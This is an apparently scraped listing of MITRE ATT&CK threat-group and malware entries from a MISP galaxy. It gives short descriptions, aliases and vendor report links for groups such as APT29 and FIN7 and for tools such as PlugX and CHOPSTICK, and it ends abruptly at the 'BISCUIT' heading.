DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. [[Citation: Operation Quantum Entanglement]][[Citation: Symbiotic APT Groups]] It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. [[Citation: New DragonOK]]
DragonOK is also known as:
-
DragonOK
Links |
APT1
APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398.[[Citation: Mandiant APT1]]
APT1 is also known as:
-
APT1
-
Comment Crew
-
Comment Group
-
Comment Panda
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
Taidoor
Taidoor is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government.[[Citation: TrendMicro Taidoor]]
Taidoor is also known as:
-
Taidoor
Links |
Night Dragon
Night Dragon is a threat group that has conducted activity originating primarily in China.[[Citation: McAfee Night Dragon]]
Night Dragon is also known as:
-
Night Dragon
Links |
http://www.mcafee.com/us/resources/white-papers/wp-global-energy-cyberattacks-night-dragon.pdf |
Naikon
Naikon is a threat group that has focused on targets around the South China Sea.Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.[[Citation: Baumgartner Golovkin Naikon 2015]]
Naikon is also known as:
-
Naikon
Ke3chang
Ke3chang is a threat group attributed to actors operating out of China.[[Citation: Villeneuve et al 2014]]
Ke3chang is also known as:
-
Ke3chang
Links |
Patchwork
Patchwork is a threat group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. Much of the code used by this group was copied and pasted from online forums.[[Citation: Cymmetria Patchwork]][[Citation: Symantec Patchwork]]
Patchwork is also known as:
-
Patchwork
-
Dropping Elephant
-
Chinastrats
Links |
https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling%20Patchwork.pdf |
APT30
APT30 is a threat group suspected to be associated with the Chinese government.Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches.[[Citation: Baumgartner Golovkin Naikon 2015]]
APT30 is also known as:
-
APT30
Links |
https://securelist.com/analysis/publications/69953/the-naikon-apt/ |
MONSOON
MONSOON is the name of an espionage campaign that apparently started in December 2015 and was ongoing as of July 2016. It is believed that the actors behind MONSOON are the same actors behind Operation Hangover. While attribution is unclear, the campaign has targeted victims with military and political interests in the Indian Subcontinent.[[Citation: Forcepoint Monsoon]] Operation Hangover has been reported as being Indian in origin, and can be traced back to 2010.[[Citation: Operation Hangover May 2013]]
MONSOON is also known as:
-
MONSOON
-
Operation Hangover
Links |
APT17
APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.[[Citation: FireEye APT17]]
APT17 is also known as:
-
APT17
-
Deputy Dog
Links |
https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf |
FIN7
FIN7 is a financially motivated threat group that has primarily targeted the retail and hospitality sectors, often using point-of-sale malware. It is sometimes referred to as Carbanak Group, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately.[[Citation: FireEye FIN7 March 2017]][[Citation: FireEye FIN7 April 2017]]
FIN7 is also known as:
-
FIN7
Links |
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html |
https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html |
APT3
APT3 is a China-based threat group that researchers have attributed to China’s Ministry of State Security.[[Citation: FireEye Clandestine Wolf]][[Citation: Recorded Future APT3 May 2017]] This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.[[Citation: FireEye Clandestine Wolf]][[Citation: FireEye Operation Double Tap]] As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.[[Citation: Symantec Buckeye]]
APT3 is also known as:
-
APT3
-
Gothic Panda
-
Pirpi
-
UPS Team
-
Buckeye
-
Threat Group-0110
-
TG-0110
GCMAN
GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services.[[Citation: Securelist GCMAN]]
GCMAN is also known as:
-
GCMAN
Links |
Lazarus Group
Lazarus Group is a threat group that has been attributed to the North Korean government.Lazarus Group correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain.[[Citation: Novetta Blockbuster]]
Lazarus Group is also known as:
-
Lazarus Group
-
HIDDEN COBRA
-
Guardians of Peace
Links |
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf |
Lotus Blossom
Lotus Blossom is threat group that has targeted government and military organizations in Southeast Asia.[[Citation: Lotus Blossom Jun 2015]] It is also known as Spring Dragon.[[Citation: Spring Dragon Jun 2015]]
Lotus Blossom is also known as:
-
Lotus Blossom
-
Spring Dragon
Links |
https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html |
https://securelist.com/blog/research/70726/the-spring-dragon-apt/ |
Equation
Equation is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives.[[Citation: Kaspersky Equation QA]]
Equation is also known as:
-
Equation
Links |
https://securelist.com/files/2015/02/Equation%20group%20questions%20and%20answers.pdf |
Darkhotel
Darkhotel is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi‑Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing.[[Citation: Kaspersky Darkhotel]]
Darkhotel is also known as:
-
Darkhotel
Links |
https://securelist.com/files/2014/11/darkhotel%20kl%2007.11.pdf |
OilRig
OilRig is a threat group with suspected Iranian origins that has targeted Middle Eastern victims since at least 2015.[[Citation: Palo Alto OilRig April 2017]][[Citation: ClearSky OilRig Jan 2017]][[Citation: Palo Alto OilRig May 2016]][[Citation: Palo Alto OilRig Oct 2016]]
OilRig is also known as:
-
OilRig
Links |
Dragonfly
Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems.[[Citation: Symantec Dragonfly]]
Dragonfly is also known as:
-
Dragonfly
-
Energetic Bear
Links |
Suckfly
Suckfly is a China-based threat group that has been active since at least 2014.[[Citation: Symantec Suckfly March 2016]]
Suckfly is also known as:
-
Suckfly
Links |
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates |
Stealth Falcon
Stealth Falcon is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed.[[Citation: Citizen Lab Stealth Falcon May 2016]]
Stealth Falcon is also known as:
-
Stealth Falcon
Links |
Scarlet Mimic
Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group’s motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same.[[Citation: Scarlet Mimic Jan 2016]]
Scarlet Mimic is also known as:
-
Scarlet Mimic
Links |
Threat Group-1314
Threat Group-1314 is an unattributed threat group that has used compromised credentials to log into a victim’s remote access infrastructure.[[Citation: Dell TG-1314]]
Threat Group-1314 is also known as:
-
Threat Group-1314
-
TG-1314
Links |
http://www.secureworks.com/resources/blog/living-off-the-land/ |
Turla
Turla is a threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies.[[Citation: Kaspersky Turla]]
Turla is also known as:
-
Turla
-
Waterbug
Links |
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/ |
APT29
APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008.[[Citation: F-Secure The Dukes]][[Citation: GRIZZLY STEPPE JAR]] This group reportedly compromised the Democratic National Committee starting in the summer of 2015.[[Citation: Crowdstrike DNC June 2016]]
APT29 is also known as:
-
APT29
-
The Dukes
-
Cozy Bear
Links |
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf |
FIN10
FIN10 is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations.[[Citation: FireEye FIN10 June 2017]]
FIN10 is also known as:
-
FIN10
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf |
menuPass
menuPass is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university.[[Citation: Palo Alto menuPass Feb 2017]][[Citation: Crowdstrike CrowdCast Oct 2013]][[Citation: FireEye Poison Ivy]][[Citation: PWC Cloud Hopper April 2017]][[Citation: FireEye APT10 April 2017]]
menuPass is also known as:
-
menuPass
-
Stone Panda
-
APT10
-
Red Apollo
-
CVNX
Putter Panda
Putter Panda is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA’s 3rd General Staff Department (GSD).[[Citation: CrowdStrike Putter Panda]]
Putter Panda is also known as:
-
Putter Panda
-
APT2
-
MSUpdater
Links |
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf |
Axiom
Axiom is a cyber espionage group suspected to be associated with the Chinese government.Winnti Group use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting.[[Citation: Kaspersky Winnti April 2013]][[Citation: Kaspersky Winnti June 2015]][[Citation: Novetta Winnti April 2015]]
Axiom is also known as:
-
Axiom
-
Group 72
Links |
http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf |
http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf |
Carbanak
Carbanak is a threat group that mainly targets banks. It also refers to malware of the same name (Carbanak).[[Citation: Kaspersky Carbanak]]
Carbanak is also known as:
-
Carbanak
-
Anunak
Links |
https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf |
APT18
APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical.[[Citation: Dell Lateral Movement]]
APT18 is also known as:
-
APT18
-
TG-0416
-
Dynamite Panda
-
Threat Group-0416
Links |
APT32
APT32 is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists. The group’s operations are aligned with Vietnamese state interests.[[Citation: FireEye APT32 May 2017]]
APT32 is also known as:
-
APT32
-
OceanLotus Group
Links |
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html |
Gamaredon Group
Gamaredon Group is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government.[[Citation: Palo Alto Gamaredon Feb 2017]]
Gamaredon Group is also known as:
-
Gamaredon Group
Links |
https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/ |
Malware
Name of ATT&CK software.
Malware is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
MITRE
OLDBAIT
OLDBAIT is a credential harvester used by APT28.[[Citation: FireEye APT28]][[Citation: FireEye APT28 January 2017]]
Aliases: OLDBAIT, Sasfis
OLDBAIT is also known as:
-
OLDBAIT
-
Sasfis
SOUNDBITE
SOUNDBITE is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]
Links |
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html |
CosmicDuke
CosmicDuke is malware that was used by APT29 from 2010 to 2015.[[Citation: F-Secure The Dukes]]
Aliases: CosmicDuke, TinyBaron, BotgenStudios, NemesisGemina
CosmicDuke is also known as:
-
CosmicDuke
-
TinyBaron
-
BotgenStudios
-
NemesisGemina
Links |
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf |
H1N1
H1N1 is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality.[[Citation: Cisco H1N1 Part 1]]
Links |
http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities |
SPACESHIP
SPACESHIP is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]
Links |
Hi-Zor
Hi-Zor is a remote access tool (RAT) that has characteristics similar to Sakula. It was used in a campaign named INOCNATION.[[Citation: Fidelis Hi-Zor]]
Links |
http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html |
TEXTMATE
TEXTMATE is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with POWERSOURCE in February 2017.[[Citation: FireEye FIN7 March 2017]]
Aliases: TEXTMATE, DNSMessenger
TEXTMATE is also known as:
-
TEXTMATE
-
DNSMessenger
Links |
https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html |
Net Crawler
Net Crawler is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using PsExec to execute a copy of Net Crawler.[[Citation: Cylance Cleaver]]
Aliases: Net Crawler, NetC
Net Crawler is also known as:
-
Net Crawler
-
NetC
Links |
http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf |
BlackEnergy
BlackEnergy is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3.[[Citation: F-Secure BlackEnergy 2014]]
Aliases: BlackEnergy, Black Energy
BlackEnergy is also known as:
-
BlackEnergy
-
Black Energy
Links |
https://www.f-secure.com/documents/996508/1030745/blackenergy%20whitepaper.pdf |
Pisloader
Pisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group.[[Citation: Palo Alto DNS Requests]]
Links |
PHOREAL
PHOREAL is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]
Links |
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html |
Backdoor.Oldrea
Backdoor.Oldrea is a backdoor used by Dragonfly. It appears to be custom malware authored by the group or specifically for it.[[Citation: Symantec Dragonfly]]
Aliases: Backdoor.Oldrea, Havex
Backdoor.Oldrea is also known as:
-
Backdoor.Oldrea
-
Havex
Links |
ChChes
ChChes is a Trojan that appears to be used exclusively by menuPass. It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool.[[Citation: Palo Alto menuPass Feb 2017]][[Citation: JPCERT ChChes Feb 2017]][[Citation: PWC Cloud Hopper Technical Annex April 2017]]
Aliases: ChChes, Scorpion, HAYMAKER
ChChes is also known as:
-
ChChes
-
Scorpion
-
HAYMAKER
Links |
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf |
Hacking Team UEFI Rootkit
Hacking Team UEFI Rootkit is a rootkit developed by the company Hacking Team as a method of persistence for remote access software.[[Citation: TrendMicro Hacking Team UEFI]]
Links |
HALFBAKED
HALFBAKED is a malware family consisting of multiple components intended to establish persistence in victim networks.[[Citation: FireEye FIN7 April 2017]]
Links |
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html |
httpclient
httpclient is malware used by Putter Panda. It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool.[[Citation: CrowdStrike Putter Panda]]
Links |
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf |
Downdelph
Downdelph is a first-stage downloader written in Delphi that has been used by APT28 in rare instances between 2013 and 2015.[[Citation: ESET Sednit Part 3]]
Aliases: Downdelph, Delphacy
Downdelph is also known as:
-
Downdelph
-
Delphacy
Links |
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf |
StreamEx
StreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites.[[Citation: Cylance Shell Crew Feb 2017]]
Links |
https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar |
Psylo
Psylo is a shellcode-based Trojan that has been used by Scarlet Mimic. It has similar characteristics as FakeM.[[Citation: Scarlet Mimic Jan 2016]]
Links |
HDoor
HDoor is malware that has been customized and used by the Naikon group.[[Citation: Baumgartner Naikon 2015]]
Aliases: HDoor, Custom HDoor
HDoor is also known as:
-
HDoor
-
Custom HDoor
Links |
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf |
Komplex
is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to XAgentOSX[[Citation: XAgentOSX]][[Citation: Sofacy Komplex Trojan]].
TinyZBot
TinyZBot is a bot written in C# that was developed by Cleaver.[[Citation: Cylance Cleaver]]
Links |
http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf |
BACKSPACE
BACKSPACE is a backdoor used by APT30 that dates back to at least 2005.[[Citation: FireEye APT30]]
Aliases: BACKSPACE, Lecna
BACKSPACE is also known as:
-
BACKSPACE
-
Lecna
Links |
PinchDuke
PinchDuke is malware that was used by APT29 from 2008 to 2010.[[Citation: F-Secure The Dukes]]
Links |
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf |
CloudDuke
CloudDuke is malware that was used by APT29 in 2015.[[Citation: F-Secure The Dukes]][[Citation: Securelist Minidionis July 2015]]
Aliases: CloudDuke, MiniDionis, CloudLook
CloudDuke is also known as:
-
CloudDuke
-
MiniDionis
-
CloudLook
WinMM
WinMM is a full-featured, simple backdoor used by Naikon.[[Citation: Baumgartner Naikon 2015]]
Links |
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf |
MobileOrder
MobileOrder is a Trojan intended to compromise Android mobile devices. It has been used by Scarlet Mimic.[[Citation: Scarlet Mimic Jan 2016]]
Links |
Sys10
Sys10 is a backdoor that was used throughout 2013 by Naikon.[[Citation: Baumgartner Naikon 2015]]
Links |
https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf |
Duqu
Duqu is a malware platform that uses a modular approach to extend functionality after deployment within a target network.[[Citation: Symantec W32.Duqu]]
Links |
FakeM
FakeM is a shellcode-based Windows backdoor that has been used by Scarlet Mimic.[[Citation: Scarlet Mimic Jan 2016]]
Links |
WINDSHIELD
WINDSHIELD is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]
Links |
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html |
SHIPSHAPE
SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]
Links |
T9000
T9000 is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations.[[Citation: FireEye admin@338 March 2014]][[Citation: Palo Alto T9000 Feb 2016]]
Links |
BS2005
BS2005 is malware that was used by Ke3chang in spearphishing campaigns since at least 2011.[[Citation: Villeneuve et al 2014]]
Links |
WEBC2
WEBC2 is a backdoor used by APT1 to retrieve a Web page from a predetermined C2 server.[[Citation: Mandiant APT1 Appendix]]
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip |
PlugX
PlugX is a remote access tool (RAT) that uses modular plugins.[[Citation: Lastline PlugX Analysis]] It has been used by multiple threat groups.[[Citation: FireEye Clandestine Fox Part 2]][[Citation: New DragonOK]][[Citation: Dell TG-3390]]
Aliases: PlugX, Sogu, Kaba
PlugX is also known as:
-
PlugX
-
Sogu
-
Kaba
Links |
https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html |
POSHSPY
POSHSPY is a backdoor that has been used by APT29 since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors.[[Citation: FireEye POSHSPY April 2017]]
Links |
https://www.fireeye.com/blog/threat-research/2017/03/dissecting%20one%20ofap.html |
Misdat
Misdat is a backdoor that was used by Dust Storm from 2010 to 2011.[[Citation: Cylance Dust Storm]]
Links |
Taidoor
Taidoor is malware that has been used since at least 2010, primarily to target Taiwanese government organizations.[[Citation: TrendMicro Taidoor]]
Links |
MoonWind
MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand.[[Citation: Palo Alto MoonWind March 2017]]
Links |
Crimson
Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims.[[Citation: Proofpoint Operation Transparent Tribe March 2016]]
Aliases: Crimson, MSIL/Crimson
Crimson is also known as:
-
Crimson
-
MSIL/Crimson
Links |
Rover
Rover is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan.[[Citation: Palo Alto Rover]]
Links |
ZLib
ZLib is a full-featured backdoor that was used as a second-stage implant by Dust Storm from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived.[[Citation: Cylance Dust Storm]]
Links |
PowerDuke
PowerDuke is a backdoor that was used by APT29 in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros.[[Citation: Volexity PowerDuke November 2016]]
Links |
HTTPBrowser
HTTPBrowser is malware that has been used by several threat groups.[[Citation: ThreatStream Evasion Analysis]][[Citation: Dell TG-3390]] It is believed to be of Chinese origin.[[Citation: ThreatConnect Anthem]]
Aliases: HTTPBrowser, Token Control, HttpDump
HTTPBrowser is also known as:
-
HTTPBrowser
-
Token Control
-
HttpDump
Links |
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/ |
HAMMERTOSS
HAMMERTOSS is a backdoor that was used by APT29 in 2015.[[Citation: FireEye APT29]][[Citation: F-Secure The Dukes]]
Aliases: HAMMERTOSS, HammerDuke, NetDuke
HAMMERTOSS is also known as:
-
HAMMERTOSS
-
HammerDuke
-
NetDuke
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf |
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf |
PoisonIvy
PoisonIvy is a popular remote access tool (RAT) that has been used by many groups.[[Citation: FireEye Poison Ivy]]
Aliases: PoisonIvy, Poison Ivy
PoisonIvy is also known as:
-
PoisonIvy
-
Poison Ivy
Links |
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf |
Carbanak
Carbanak is a remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines.[[Citation: Kaspersky Carbanak]]
Aliases: Carbanak, Anunak
Carbanak is also known as:
-
Carbanak
-
Anunak
Links |
https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf |
Ixeshe
Ixeshe is a malware family that has been used since 2009 to attack targets in East Asia.[[Citation: Moran 2013]]
Links |
BADNEWS
BADNEWS is malware that has been used by the actors responsible for the MONSOON campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control.[[Citation: Forcepoint Monsoon]]
Links |
Flame
Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries.[[Citation: Kaspersky Flame]]
Aliases: Flame, Flamer, sKyWIper
Flame is also known as:
-
Flame
-
Flamer
-
sKyWIper
Links |
https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/ |
RIPTIDE
RIPTIDE is a proxy-aware backdoor used by APT12.[[Citation: Moran 2014]]
Links |
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html |
CozyCar
CozyCar is malware that was used by APT29 from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality.[[Citation: F-Secure The Dukes]]
Aliases: CozyCar, CozyDuke, CozyBear, Cozer, EuroAPT
CozyCar is also known as:
-
CozyCar
-
CozyDuke
-
CozyBear
-
Cozer
-
EuroAPT
Links |
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf |
Mivast
Mivast is a backdoor that has been used by Deep Panda. It was reportedly used in the Anthem breach.[[Citation: Symantec Black Vine]]
Links |
Cherry Picker
Cherry Picker is a point of sale (PoS) memory scraper.[[Citation: Trustwave Cherry Picker]]
Links |
XTunnel
XTunnel a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by APT28 during the compromise of the Democratic National Committee.[[Citation: Crowdstrike DNC June 2016]][[Citation: Invincea XTunnel]][[Citation: ESET Sednit Part 2]]
Aliases: XTunnel, X-Tunnel, XAPS
XTunnel is also known as:
-
XTunnel
-
X-Tunnel
-
XAPS
GeminiDuke
GeminiDuke is malware that was used by APT29 from 2009 to 2012.[[Citation: F-Secure The Dukes]]
Links |
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf |
Sakula
Sakula is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015.[[Citation: Dell Sakula]]
Aliases: Sakula, Sakurel, VIPER
Sakula is also known as:
-
Sakula
-
Sakurel
-
VIPER
Links |
http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/ |
Agent.btz
Agent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008.[[Citation: Securelist Agent.btz]]
Links |
https://securelist.com/blog/virus-watch/58551/agent-btz-a-source-of-inspiration/ |
Prikormka
Prikormka is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008.[[Citation: ESET Operation Groundbait]]
Links |
http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf |
NETEAGLE
NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.”[[Citation: FireEye APT30]]
Links |
USBStealer
USBStealer is malware that has used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL.[[Citation: ESET Sednit USBStealer 2014]][[Citation: Kaspersky Sofacy]]
Aliases: USBStealer, USB Stealer, Win32/USBStealer
USBStealer is also known as:
-
USBStealer
-
USB Stealer
-
Win32/USBStealer
Links |
http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/ |
CALENDAR
CALENDAR is malware used by APT1 that mimics legitimate Gmail Calendar traffic.[[Citation: Mandiant APT1]]
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
XAgentOSX
is a trojan that has been used by APT28 on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan.[[Citation: XAgentOSX]]
Links |
https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/ |
Regin
Regin is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some Regin timestamps date back to 2003.[[Citation: Kaspersky Regin]]
Links |
https://securelist.com/files/2014/11/Kaspersky%20Lab%20whitepaper%20Regin%20platform%20eng.pdf |
AutoIt
AutoIt is a backdoor that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352.[[Citation: Forcepoint Monsoon]]
Links |
Pteranodon
Pteranodon is a custom backdoor used by Gamaredon Group.[[Citation: Palo Alto Gamaredon Feb 2017]]
Links |
https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/ |
RARSTONE
RARSTONE is malware used by the Naikon group that has some characteristics similar to PlugX.[[Citation: Aquino RARSTONE]]
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/ |
SHOTPUT
SHOTPUT is a custom backdoor used by APT3.[[Citation: FireEye Clandestine Wolf]]
Aliases: SHOTPUT, Backdoor.APT.CookieCutter, Pirpi
SHOTPUT is also known as:
-
SHOTPUT
-
Backdoor.APT.CookieCutter
-
Pirpi
Links |
Trojan.Karagany
Trojan.Karagany is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums.[[Citation: Symantec Dragonfly]]
Links |
Kasidet
Kasidet is a backdoor that has been dropped by using malicious VBA macros.[[Citation: Zscaler Kasidet]]
Links |
http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html |
CHOPSTICK
CHOPSTICK is malware family of modular backdoors used by APT28. It has been used from at least November 2012 to August 2016 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases.[[Citation: FireEye APT28]][[Citation: ESET Sednit Part 2]][[Citation: FireEye APT28 January 2017]]
Aliases: CHOPSTICK, SPLM, Xagent, X-Agent, webhp
CHOPSTICK is also known as:
-
CHOPSTICK
-
SPLM
-
Xagent
-
X-Agent
-
webhp
MiniDuke
MiniDuke is malware that was used by APT29 from 2010 to 2015. The MiniDuke toolset consists of multiple downloader and backdoor components. The loader has been used with other MiniDuke components as well as in conjunction with CosmicDuke and PinchDuke.[[Citation: F-Secure The Dukes]]
Links |
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf |
BBSRAT
BBSRAT is malware with remote access tool functionality that has been used in targeted compromises.[[Citation: Palo Alto Networks BBSRAT]]
Links |
Elise
Elise is a custom backdoor Trojan that appears to be used exclusively by Lotus Blossom. It is part of a larger group of tools referred to as LStudio, ST Group, and APT0LSTU.[[Citation: Lotus Blossom Jun 2015]]
Aliases: Elise, BKDR_ESILE, Page
Elise is also known as:
-
Elise
-
BKDR_ESILE
-
Page
Links |
https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html |
BISCUIT
